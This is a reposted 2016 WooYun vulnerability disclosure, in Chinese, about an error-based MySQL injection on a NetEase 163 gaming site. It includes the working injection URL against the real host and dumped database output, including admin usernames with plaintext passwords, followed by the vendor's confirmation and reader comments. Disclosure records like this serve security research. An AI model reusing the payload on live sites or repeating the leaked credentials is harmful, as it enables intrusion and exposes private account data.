网易163某站点MySQL报错注入

admin
admin
admin
140816
文章
117
评论
2017年4月14日06:48:32评论697 views字数 203阅读0分40秒阅读模式
摘要

2016-04-01： 细节已通知厂商并且等待厂商处理中
2016-04-05： 厂商已经确认，细节仅向厂商公开
2016-04-15： 细节向核心白帽子及相关领域专家公开
2016-04-25： 细节向普通白帽子公开
2016-05-05： 细节向实习白帽子公开
2016-05-20： 细节向公众公开

漏洞概要 关注数(47) 关注此漏洞

缺陷编号： WooYun-2016-191354

漏洞标题： 网易163某站点MySQL报错注入

相关厂商： 网易

漏洞作者： lijiejie网易163某站点MySQL报错注入

提交时间： 2016-04-01 12:49

公开时间： 2016-05-20 13:40

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 12

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

1人收藏

漏洞详情

披露状态：

2016-04-01： 细节已通知厂商并且等待厂商处理中
2016-04-05： 厂商已经确认，细节仅向厂商公开
2016-04-15： 细节向核心白帽子及相关领域专家公开
2016-04-25： 细节向普通白帽子公开
2016-05-05： 细节向实习白帽子公开
2016-05-20： 细节向公众公开

简要描述：

网易163某站点MySQL报错注入

详细说明：

code 区域 
http://play.163.com/m/ajax?api=wapTopicListApi&idNotIn=1) AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x5e5e5e,(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,54)),0x5e5e5e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (1=1&page=2&pageSize=20&topic=%E6%89%8B%E6%B8%B8%E9%A2%91%E9%81%93

参数idNotIn可以注入，MySQL报错注入

网易163某站点MySQL报错注入

漏洞证明：

code 区域 
available databases [77]:
 [*] analytics
 [*] diablo3db
 [*] gamesearch
 [*] gamezoo
 [*] herofire_cn
 [*] information_schema
 [*] product
 [*] product_newgame
 [*] tianyu
 [*] worldhero
code 区域 
Database: gamezoo
 Table: admin_user
 [1 entry]
 +----+-----------------+------------+---------------------+---------------+-----
 ----------------+
 | id | password        | user_name  | create_time         | super_manager | modi
 fied_time       |
 +----+-----------------+------------+---------------------+---------------+-----
 ----------------+
 | 1  | admin_hedy123$_ | admin_hedy | 2014-04-01 14:16:00 | 1             | 2014
 -04-01 14:16:00 |
 +----+-----------------+------------+---------------------+---------------+-----
 ----------------+
code 区域 
Database: product
 +-------+---------+
 | Table | Entries |
 +-------+---------+
 | admin | 336     |
 +-------+---------+
code 区域 
Database: tianyu
 Table: a_admin_user
 [2 entries]
 +----+---------+---------+-------------------+-----------+-----------+----------
 ---+--------------+-----------------+-----------------+-------------------+-----
 --------------+
 | id | email   | address | password          | real_name | telephone | user_name
    | mobile_phone | create_time_ymd | create_time_hms | modified_time_ymd | modi
 fied_time_hms |
 +----+---------+---------+-------------------+-----------+-----------+----------
 ---+--------------+-----------------+-----------------+-------------------+-----
 --------------+
 | 1  | <blank> | <blank> | admin_hedy_123$_1 | <blank>   | <blank>   | admin_hed
 y  | <blank>      | 0               | 0               | 0                 | 0
               |
 | 2  | <blank> | <blank> | shenyunqing321$_  | <blank>   | <blank>   | shenyunqi
 ng | <blank>      | 0               | 0               | 0                 | 0
               |
 +----+---------+---------+-------------------+-----------+-----------+----------
 ---+--------------+-----------------+-----------------+-------------------+-----
 --------------+

修复方案：

参数过滤，转义

版权声明：转载请注明来源 lijiejie@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2016-04-05 13:38

厂商回复：

泄露的数据以资讯类数据为主，目前漏洞已修复。感谢您对网易的关注。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-04-01 12:55 | 随风的风 ( 普通白帽子 | Rank:259 漏洞数:96 | 微信公众号：233sec 不定期分享各种漏洞思...)

    1

    这么多网易。。李姐姐，我都怀疑网易是你黑的了。。

  2. 2016-04-01 12:57 | sysALong ( 普通白帽子 | Rank:464 漏洞数:100 | 在我们黑龙江这噶哒，就没有什么事是【撸串...)

    1

    应该是了。

  3. 2016-04-01 14:23 | LoveSnow ( 实习白帽子 | Rank:85 漏洞数:20 | 以正和，以奇胜！)

    1

    就是姐姐干的,哈哈

  4. 2016-04-01 15:11 | CCkerber ( 路人 | Rank:26 漏洞数:13 | 没有安全的系统，没有逻辑的逻辑。)

    1

    163裤子满天飞了现在_(:з」∠)_

  5. 2016-04-01 15:34 | 小哲哥 ( 路人 | Rank:30 漏洞数:17 | http://www.fkgeek.com)

    1

    好基友刚分享了我一套52G葫芦娃

  6. 2016-04-02 17:14 | lanyan ( 路人 | Rank:1 漏洞数:1 | qq 1614591916 求搞基 加我时记得备注woo...)

    1

    @小哲哥 我的是金刚葫芦娃~

  7. 2016-04-04 20:12 | 小哲哥 ( 路人 | Rank:30 漏洞数:17 | http://www.fkgeek.com)

    1

    @lanyan 666

  8. 2016-05-20 14:44 | 未了 ( 路人 | Rank:2 漏洞数:3 )

    0

    sql注入也看业务重要性的，像这种数据8份差不多啦

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin